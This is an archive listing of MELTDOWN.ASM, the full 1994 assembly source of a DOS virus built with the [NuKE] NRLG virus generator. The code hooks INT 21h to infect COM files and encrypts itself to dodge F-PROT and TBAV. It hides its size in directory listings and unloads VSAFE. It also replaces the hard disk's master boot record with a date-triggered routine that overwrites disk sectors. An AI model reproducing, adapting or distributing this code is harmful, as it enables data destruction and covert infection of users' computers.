home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / NRLGUPD5.ZIP / MELTDOWN.ZIP / MELTDOWN.ASM next >
Encoding:
Assembly Source File  |  1994-09-04  |  27.3 KB  |  597 lines

  1. ;┌────────────────────────────────────────────────────────┐
  2. ;│ THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS.        │ [NuKE] PoWeR
  3. ;│ CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN  │ [NuKE] WaReZ
  4. ;│ auToR: aLL [NuKE] MeMeBeRS                             │ [NuKE] PoWeR
  5. ;│ [NuKE] THe ReaL PoWeR!                                 │ [NuKE] WaReZ
  6. ;│ NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994                   │ [NuKE] PoWeR
  7. ;└────────────────────────────────────────────────────────┘
  8.  
  9. .286
  10. code    segment
  11. assume cs:code,ds:code
  12. org  100h
  13.  
  14. start:  CALL NEXT 
  15.  
  16. NEXT:  
  17.        mov di,sp             ;take the stack pointer location 
  18.        mov bp,ss:[di]        ;take the "DELTA HANDLE" for my virus       
  19.        sub bp,offset next    ;subtract the large code off this code 
  20.                              ;
  21. ;*******************************************************************
  22. ;                      #1 DECRYPT ROUTINE                               
  23. ;*******************************************************************
  24.  
  25. cmp byte ptr cs:[crypt],0b9h ;is the first runnig?        
  26. je crypt2                    ;yes! not decrypt              
  27. ;----------------------------------------------------------                                          
  28. mov cx,offset fin            ;cx = large of virus               
  29. lea di,[offset crypt]+ bp    ;di = first byte to decrypt          
  30. mov dx,1                     ;dx = value for decrypt          
  31. ;----------------------------------------------------------                                                   
  32. deci:                        ;deci = fuck label!                                    
  33. ;----------------------------------------------------------
  34.  
  35.  not byte ptr [di] 
  36. add byte ptr [di],031h
  37. not byte ptr [di] 
  38. add byte ptr [di],0aah
  39. xor word ptr [di],0a239h
  40. sub word ptr [di],0d0edh
  41. sub byte ptr [di],09fh
  42. not byte ptr [di] 
  43. xor word ptr [di],0f45dh
  44. not word ptr [di] 
  45. sub word ptr [di],0c987h
  46. add word ptr [di],05561h
  47. not word ptr [di] 
  48. xor word ptr [di],0682h
  49.  inc di
  50. inc di
  51. ;----------------------------------------------------------                                                
  52. jmp bye                      ;######## BYE BYE F-PROT ! ##########     
  53. mov ah,4ch
  54. int 21h
  55. bye:                         ;#### HEY FRIDRIK! IS ONLY A JMP!!###      
  56. ;-----------------------------------------------------------                               
  57. mov ah,0bh                   ;######### BYE BYE TBAV ! ##########     
  58. int 21h                      ;### (CANGE INT AT YOU PLEASURE) ###        
  59. ;----------------------------------------------------------                                   
  60. loop deci                    ;repeat please!               
  61.                              ;           
  62. ;*****************************************************************
  63. ;                   #2 DECRYPT ROUTINE                                                    
  64. ;*****************************************************************
  65.                               ;    
  66. crypt:                        ;fuck label!                  
  67.                               ;                
  68. mov cx,offset fin             ;cx = large of virus                 
  69. lea di,[offset crypt2] + bp   ;di = first byte to decrypt                  
  70. ;---------------------------------------------------------------                                              
  71. deci2:                        ;              
  72. xor byte ptr cs:[di],1        ;decrytion rutine          
  73. inc di                        ;very simple...            
  74. loop deci2                    ;           
  75. ;---------------------------------------------------------------
  76. crypt2:                       ;fuck label!          
  77.                               ;                  
  78. MOV AX,0CACAH                 ;call to my resident interrup mask                  
  79. INT 21H                       ;for chek "I'm is residet?"   
  80. CMP Bh,0CAH                   ;is equal to CACA?
  81. JE PUM2                       ;yes! jump to runnig program
  82. call action
  83. ;*****************************************************************
  84. ; NRLG FUNCTIONS  (SELECTABLE)
  85. ;*****************************************************************
  86.  
  87.  call MBR
  88. call ANTI_V
  89. ;****************************************************************
  90. ;               PROCESS TO REMAIN RESIDENT                                                                  
  91. ;****************************************************************   
  92.  
  93. mov   ax,3521h                  
  94. int   21h                        ;store the int 21 vectors 
  95. mov   word ptr [bp+int21],bx     ;in cs:int21
  96. mov   word ptr [bp+int21+2],es   ;
  97. ;---------------------------------------------------------------
  98. push cs                          ; 
  99. pop ax                           ;ax = my actual segment                             
  100. dec ax                           ;dec my segment for look my MCB
  101. mov es,ax                        ;
  102. mov bx,es:[3]                    ;read the #3 byte of my MCB =total used memory
  103. ;---------------------------------------------------------------
  104. push cs                          ;   
  105. pop es                           ;   
  106. sub bx,(offset fin - offset start + 15)/16  ;subtract the large of my virus 
  107. sub bx,17 + offset fin           ;and 100H for the PSP total
  108. mov ah,4ah                       ;used memory
  109. int 21h                          ;put the new value to MCB
  110. ;---------------------------------------------------------------
  111. mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin     
  112. mov ah,48h                      ;                              
  113. int 21h                         ;request the memory to fuck DOS!                                                 
  114. ;---------------------------------------------------------------
  115. dec ax                          ;ax=new segment 
  116. mov es,ax                       ;ax-1= new segment MCB 
  117. mov byte ptr es:[1],8           ;put '8' in the segment
  118. ;--------------------------------------------------------------                                
  119. inc ax                          ; 
  120. mov es,ax                       ;es = new segment
  121. lea si,[bp + offset start]      ;si = start of virus 
  122. mov di,100h                     ;di = 100H (psp position) 
  123. mov cx,offset fin - start       ;cx = lag of virus
  124. push cs                         ;
  125. pop ds                          ;ds = cs
  126. cld                             ;mov the code
  127. rep movsb                       ;ds:si >> es:di
  128. ;--------------------------------------------------------------
  129. mov dx,offset virus             ;dx = new int21 handler
  130. mov ax,2521h                    ;
  131. push es                         ; 
  132. pop ds                          ; 
  133. int 21h                         ;set the vectors 
  134. ;-------------------------------------------------------------
  135. pum2:                               ;  
  136.                                     ; 
  137. mov ah,byte ptr [cs:bp + real]      ;restore the 3  
  138. mov byte ptr cs:[100h],ah           ;first bytes  
  139. mov ax,word ptr [cs:bp + real + 1]  ;
  140. mov word ptr cs:[101h],ax           ;
  141. ;-------------------------------------------------------------
  142. mov ax,100h                         ;
  143. jmp ax                              ;jmp to execute
  144.                                     ;
  145. ;*****************************************************************
  146. ;*             HANDLER FOR THE INT 21H                                       
  147. ;*****************************************************************
  148.                           ;          
  149. VIRUS:                    ;  
  150.                           ;     
  151. cmp ah,4bh                ;is a 4b function? 
  152. je REPRODUCCION           ;yes! jump to reproduce !
  153. cmp ah,11h
  154. je dir
  155. cmp ah,12h
  156. je dir
  157. dirsal:
  158. cmp AX,0CACAH             ;is ... a caca function? (resident chek)
  159. jne a3                    ;no! jump to a3
  160. mov bh,0cah               ;yes! put ca in bh
  161. a3:                       ;
  162. JMP dword ptr CS:[INT21]  ;jmp to original int 21h
  163. ret                       ;    
  164. make db '[NuKE] N.R.L.G. AZRAEL'
  165. dir:
  166. jmp dir_s
  167. ;-------------------------------------------------------------
  168. REPRODUCCION:              ;       
  169.                            ;
  170. pushf                      ;put the register
  171. pusha                      ;in the stack
  172. push si                    ;
  173. push di                    ;
  174. push bp                    ;
  175. push es                    ;
  176. push ds                    ;
  177. ;-------------------------------------------------------------
  178. push cs                    ;  
  179. pop ds                     ;  
  180. mov ax,3524H               ;get the dos error control                      
  181. int 21h                    ;interupt                        
  182. mov word ptr error,es      ;and put in cs:error                      
  183. mov word ptr error+2,bx    ;            
  184. mov ax,2524H               ;change the dos error control                    
  185. mov dx,offset all          ;for my "trap mask"                      
  186. int 21h                    ;         
  187. ;-------------------------------------------------------------
  188. pop ds                     ;
  189. pop es                     ;restore the registers
  190. pop bp                     ;
  191. pop di                     ;
  192. pop si                     ;
  193. popa                       ;
  194. popf                       ;
  195. ;-------------------------------------------------------------
  196. pushf                      ;put the registers
  197. pusha                      ;     
  198. push si                    ;HEY! AZRAEL IS CRAZY?
  199. push di                    ;PUSH, POP, PUSH, POP
  200. push bp                    ;PLEEEEEAAAAAASEEEEEEEEE
  201. push es                    ;PURIFY THIS SHIT!
  202. push ds                    ;
  203. ;-------------------------------------------------------------
  204. mov ax,4300h                 ;       
  205. int 21h                      ;get the file     
  206. mov word ptr cs:[attrib],cx  ;atributes   
  207. ;-------------------------------------------------------------
  208. mov ax,4301h                 ;le saco los atributos al        
  209. xor cx,cx                    ;file 
  210. int 21h                      ;
  211. ;-------------------------------------------------------------  
  212. mov ax,3d02h                 ;open the file 
  213. int 21h                      ;for read/write
  214. mov bx,ax                    ;bx=handle
  215. ;-------------------------------------------------------------
  216. mov ax,5700h                ;     
  217. int 21h                     ;get the file date  
  218. mov word ptr cs:[hora],cx   ;put the hour    
  219. mov word ptr cs:[dia],dx    ;put the day    
  220. and cx,word ptr cs:[fecha]  ;calculate the seconds    
  221. cmp cx,word ptr cs:[fecha]  ;is ecual to 58? (DEDICATE TO N-POX)    
  222. jne seguir                  ;yes! the file is infected!     
  223. jmp cerrar                  ;
  224. ;------------------------------------------------------------
  225. seguir:                     ;     
  226. mov ax,4202h                ;move the pointer to end
  227. call movedor                ;of the file
  228. ;------------------------------------------------------------
  229. push cs                     ;   
  230. pop ds                      ; 
  231. sub ax,3                    ;calculate the 
  232. mov word ptr [cs:largo],ax  ;jmp long
  233. ;-------------------------------------------------------------
  234. mov ax,04200h               ;move the pointer to  
  235. call movedor                ;start of file
  236. ;----------------------------------------------------------                                          
  237. push cs                     ;   
  238. pop ds                      ;read the 3 first bytes  
  239. mov ah,3fh                  ;                           
  240. mov cx,3                    ;
  241. lea dx,[cs:real]            ;put the bytes in cs:[real]
  242. int 21h                     ;
  243. ;----------------------------------------------------------                                          
  244. cmp word ptr cs:[real],05a4dh   ;the 2 first bytes = 'MZ' ?
  245. jne er1                         ;yes! is a EXE... fuckkk!
  246. ;----------------------------------------------------------
  247. jmp cerrar
  248. er1:
  249. ;----------------------------------------------------------                                          
  250. mov ax,4200h      ;move the pointer                               
  251. call movedor      ;to start fo file
  252. ;----------------------------------------------------------                                          
  253. push cs           ;       
  254. pop ds            ; 
  255. mov ah,40h        ;  
  256. mov cx,1          ;write the JMP
  257. lea dx,[cs:jump]  ;instruccion in the
  258. int 21h           ;fist byte of the file
  259. ;----------------------------------------------------------                                          
  260. mov ah,40h         ;write the value of jmp
  261. mov cx,2           ;in the file 
  262. lea dx,[cs:largo]  ; 
  263. int 21h            ;
  264. ;----------------------------------------------------------                                          
  265. mov ax,04202h      ;move the pointer to 
  266. call movedor       ;end of file
  267. ;----------------------------------------------------------                                          
  268. push cs                     ;        
  269. pop ds                      ;move the code  
  270. push cs                     ;of my virus      
  271. pop es                      ;to cs:end+50     
  272. cld                         ;for encrypt          
  273. mov si,100h                 ;    
  274. mov di,offset fin + 50      ;      
  275. mov cx,offset fin - 100h    ;        
  276. rep movsb                   ;      
  277. ;----------------------------------------------------------                                          
  278. mov cx,offset fin           
  279. mov di,offset fin + 50 + (offset crypt2 - offset start)  ;virus         
  280. enc:                              ;           
  281. xor byte ptr cs:[di],1            ;encrypt the virus              
  282. inc di                            ;code                   
  283. loop enc                          ;              
  284. ;---------------------------------------------------------
  285. mov cx,offset fin           
  286. mov di,offset fin + 50 + (offset crypt - offset start)  ;virus         
  287. mov dx,1
  288. enc2:                              ;           
  289.  
  290.  xor word ptr [di],0682h
  291. not word ptr [di]
  292. sub word ptr [di],05561h
  293. add word ptr [di],0c987h
  294. not word ptr [di]
  295. xor word ptr [di],0f45dh
  296. not byte ptr [di]
  297. add byte ptr [di],09fh
  298. add word ptr [di],0d0edh
  299. xor word ptr [di],0a239h
  300. sub byte ptr [di],0aah
  301. not byte ptr [di]
  302. sub byte ptr [di],031h
  303. not byte ptr [di]
  304.  inc di
  305. inc di                             ;the virus code                  
  306. loop enc2                          ;              
  307. ;--------------------------------------------
  308. mov ah,40h                       ;  
  309. mov cx,offset fin - offset start ;copy the virus              
  310. mov dx,offset fin + 50           ;to end of file
  311. int 21h                          ;
  312. ;----------------------------------------------------------                                          
  313. cerrar:                          ;
  314.                                  ;restore the       
  315. mov ax,5701h                     ;date and time    
  316. mov cx,word ptr cs:[hora]        ;file   
  317. mov dx,word ptr cs:[dia]         ;     
  318. or cx,word ptr cs:[fecha]        ;and mark the seconds  
  319. int 21h                          ; 
  320. ;----------------------------------------------------------                                          
  321. mov ah,3eh                       ; 
  322. int 21h                          ;close the file
  323. ;----------------------------------------------------------                                          
  324. pop ds                           ;
  325. pop es                           ;restore the 
  326. pop bp                           ;registers
  327. pop di                           ; 
  328. pop si                           ;
  329. popa                             ;
  330. popf                             ;
  331. ;----------------------------------------------------------                                          
  332. pusha                           ;   
  333.                                 ;                                                             
  334. mov ax,4301h                    ;restores the atributes 
  335. mov cx,word ptr cs:[attrib]     ;of the file  
  336. int 21h                         ;   
  337.                                 ;
  338. popa                            ; 
  339. ;----------------------------------------------------------                                          
  340. pushf                           ;                           
  341. pusha                           ; 8-(  = f-prot                       
  342. push si                         ;                       
  343. push di                         ; 8-(  = tbav   
  344. push bp                         ;                       
  345. push es                         ; 8-)  = I'm                        
  346. push ds                         ;                              
  347. ;----------------------------------------------------------                                          
  348. mov ax,2524H                    ;                         
  349. lea bx,error                    ;restore the                         
  350. mov ds,bx                       ;errors handler      
  351. lea bx,error+2                  ;                         
  352. int 21h                         ;                       
  353. ;----------------------------------------------------------                                          
  354. pop ds                          ;
  355. pop es                          ;
  356. pop bp                          ;restore the 
  357. pop di                          ;resgisters
  358. pop si                          ;
  359. popa                            ;
  360. popf                            ;
  361. ;----------------------------------------------------------                                          
  362. JMP A3                          ;jmp to orig. INT 21
  363.                                 ;
  364. ;**********************************************************
  365. ;           SUBRUTINES AREA
  366. ;**********************************************************
  367.                                 ;
  368. movedor:                        ;   
  369.                                 ; 
  370. xor cx,cx                       ;use to move file pointer         
  371. xor dx,dx                       ;       
  372. int 21h                         ;        
  373. ret                             ;        
  374. ;----------------------------------------------------------                                          
  375. all:                            ;  
  376.                                 ; 
  377. XOR AL,AL                       ;use to set 
  378. iret                            ;error flag
  379.  
  380. ;***********************************************************
  381. ;         DATA AREA
  382. ;***********************************************************
  383. largo  dw  ?
  384. jump   db  0e9h
  385. real   db  0cdh,20h,0
  386. hora   dw  ?
  387. dia    dw  ?
  388. attrib dw  ?
  389. int21  dd  ?
  390. error  dd  ?
  391.  
  392.  ;---------------------------------
  393. action:                          ; 
  394. MOV AH,2AH                       ;        
  395. INT 21H                          ;get date           
  396. CMP Dl,byte ptr cs:[action_dia+bp]  ;is equal to my day?                 
  397. JE  cont                         ;nop! fuck ret          
  398. cmp byte ptr cs:[action_dia+bp],32  ;
  399. jne no_day                       ;
  400. cont:                            ; 
  401. cmp dh,byte ptr cs:[action_mes+bp]  ;is equal to my month?            
  402. je set                           ;
  403. cmp byte ptr cs:[action_mes+bp],13  ;
  404. jne NO_DAY                       ;nop! fuck ret           
  405. set:                             ; 
  406.         
  407. mov ax,351ch                     ;
  408. int 21h                          ;store the int 1ch vectors 
  409. mov word ptr [trampaint+bp],bx      ;in cs:trampaint
  410. mov word ptr [trampaint+2+bp],es    ;
  411. mov ax,251ch                     ;put the int 1ch (clock) vector     
  412. push cs                          ;   
  413. pop ds                           ;  
  414. mov dx,offset tardar             ;in offset tardar
  415. int 21h                          ;  
  416. mov dx,offset fin                ;
  417. int 27h                          ;main resident the code
  418. NO_DAY:                          ;             
  419. ret                              ;ret for program
  420. tardar:                          ;int 1c handler
  421. pushf                            ;
  422. pusha                            ;
  423. mov cx,0ffffh                    ;fuck loop for slow speed
  424. trampa:                          ;
  425. mov ax,ax                        ;
  426. loop trampa                      ;
  427. popa                             ;
  428. popf                             ;
  429. JMP dword ptr CS:[trampaint+bp]     ;jmp to original int 1ch
  430. ret                              ;
  431. trampaint  dd  ?                 ;
  432. ;--------------------------------;
  433.  
  434.  MBR:
  435. ;**************************************
  436. ;    Start of MBR-BOMB writing
  437. ;**************************************
  438. mov ax,9f80h                ;very high memory                   
  439. mov es,ax                   ;good for buffer                
  440. mov ax,0201h                ;read the original         
  441. mov cx,0001h                ;MBR of the disk           
  442. mov dx,0080h                ;              
  443. xor bx,bx                   ;to buffer 9f80:0000h                       
  444. int 13h                     ;           
  445. push cs                     ; 
  446. pop ds                      ; 
  447. mov ax,9f80h                ;add my MBR-BOMB                                    
  448. mov es,ax                   ;to real MBR in my       
  449. mov si,offset fat           ;buffer              
  450. xor di,di                   ;                   
  451. mov cx,105                  ;ds:[fat]=>9f80:0000h
  452. repe movsb                  ;total 105bytes                   
  453. mov ax,9f80h                ;   
  454. mov es,ax                   ;   
  455. xor bx,bx                   ;replace the original    
  456. mov ax,0301h                ;MBR in the disk by the
  457. xor ch,ch                   ;new MBR-BOMB.  
  458. mov dx,0080h                ;
  459. mov cl,1                    ;WARNING! VSAFE/MSAVE 
  460. mov bx,0                    ;NOTIFY THIS ACTION 
  461. int 13h                     ; 
  462. ret                         ;
  463. ;---------------------------------------------------
  464. ;*********************      
  465. ; Start of MBR code          
  466. ;*********************        
  467. fat:                              ;       
  468. cli                               ;#       
  469. xor     ax,ax                     ;#     
  470. mov     ss,ax                     ;#       
  471. mov     sp,7C00h                  ;#        
  472. mov     si,sp                     ;#        
  473. push    ax                        ;#    
  474. pop     es                        ;# 
  475. push    ax                        ;# 
  476. pop     ds                        ;#     
  477. sti                               ;#
  478.                                   ;#   
  479. pushf                             ;#   
  480. push ax                           ;# 
  481. push cx                           ;# = This code be in the
  482. push dx                           ;#   original MBR
  483. push ds                           ;#   (NOT MODIFY)
  484. push es                           ;#   
  485. MOV AH,04H                        ; Read real tyme                       
  486. INT 1AH                           ; Clock          
  487. CMP DH,cs:byte ptr action_mes     ; is Month?     
  488. JE CAGO                           ; yes! SNIF SNIF HD. 
  489. lit:
  490. pop es
  491. pop ds
  492. pop dx  
  493. pop cx
  494. pop ax
  495. popf
  496. jmp booti
  497. CAGO:
  498. ;++++++++++++++++++++++++++++++++++++++++++++++++++++
  499. ; START OF YOUR DESTRUCTIVE CODE (or not destructive)
  500. ;++++++++++++++++++++++++++++++++++++++++++++++++++++
  501.  
  502. rip_hd:                            
  503.                               ;@                                  
  504.                 xor dx, dx    ;@                
  505. rip_hd1:                      ;@
  506.         mov cx, 2     ;@                 
  507.         mov ax, 311h  ;@    
  508.         mov dl, 80h   ;@             
  509.         mov bx, 5000h ;@       
  510.         mov es, bx    ;@ 
  511.         int 13h       ;@          
  512.         jae rip_hd2   ;@         
  513.         xor ah, ah    ;@       
  514.         int 13h       ;@       
  515.         rip_hd2:      ;@        
  516.         inc dh        ;@        
  517.         cmp dh, 4     ;@                
  518.         jb rip_hd1    ;@ 
  519.         inc ch        ;@        
  520.         jmp rip_hd            
  521.  
  522. ;+++++++++++++++++++++++++++++++++++++++++++
  523. ;       END OF YOUR DESTRUCUTIVE  CODE
  524. ;+++++++++++++++++++++++++++++++++++++++++++
  525. booti:
  526. xor ax,ax     ;#         
  527. mov es,ax     ;#       
  528. mov bx,7c00h  ;#             
  529. mov ah,02     ;#          
  530. mov al,1      ;#         
  531. mov cl,1      ;# #= This code be       
  532. mov ch,0      ;#    in the original        
  533. mov dh,1      ;#    MBR    
  534. mov dl,80h    ;#    (NOT MODIFY)   
  535.               ;#             
  536. int 13h       ;#                
  537.               ;#          
  538. db 0eah,00,7ch,00,00 ;#    
  539. ;*******************
  540. ; END OF MBR CODE
  541. ;*******************
  542.  
  543.  ;---------------------------------
  544. ANTI_V:                          ; 
  545. MOV AX,0FA01H                    ;REMOVE VSAFE FROM MEMORY        
  546. MOV DX,5945H                     ; 
  547. INT 21H                          ;           
  548. ret                              ;
  549. ;---------------------------------
  550.  
  551.  ;*****************************************************
  552. dir_s:                                                               
  553.              pushf                                                         
  554.              push    cs                                                    
  555.              call    a3                      ;Get file Stats                       
  556.              test    al,al                   ;Good FCB?                            
  557.              jnz     no_good                 ;nope                                 
  558.              push    ax                                                 
  559.              push    bx                                                    
  560.              push    es                                                    
  561.              mov     ah,51h                  ;Is this Undocmented? huh...          
  562.              int     21h                                                   
  563.              mov     es,bx                                                 
  564.              cmp     bx,es:[16h]                                           
  565.              jnz     not_infected                        
  566.              mov     bx,dx                                                 
  567.              mov     al,[bx]                                               
  568.              push    ax                                                    
  569.              mov     ah,2fh                   ;Get file DTA                         
  570.              int     21h                                                   
  571.              pop     ax                                                    
  572.              inc     al                                                    
  573.              jnz     fcb_okay                                              
  574.              add     bx,7h                                                 
  575. fcb_okay:    mov     ax,es:[bx+17h]                                   
  576.              and     ax,1fh                   ;UnMask Seconds Field                 
  577.              xor     al,byte ptr cs:fechad                                      
  578.              jnz     not_infected                                            
  579.              and     byte ptr es:[bx+17h],0e0h                            
  580.              sub     es:[bx+1dh],OFFSET FIN - OFFSET START  ;Yes minus virus size       
  581.              sbb     es:[bx+1fh],ax                                        
  582. not_infected:pop     es                                                    
  583.              pop     bx                                                    
  584.              pop     ax                                                    
  585. no_good:     iret                                                          
  586. ;********************************************************************
  587. ; THIS DIR STEALTH METOD IS EXTRAC FROM NUKEK INFO JOURNAL 4 & N-POX 
  588. ;*********************************************************************
  589.  
  590.  action_dia Db 020H ;day for the action
  591. action_mes Db 0dH ;month for the action
  592. FECHA DW 01eH ;Secon for mark
  593. FECHAd Db 01eH ;Secon for mark dir st
  594. fin:
  595. code ends
  596. end start
  597.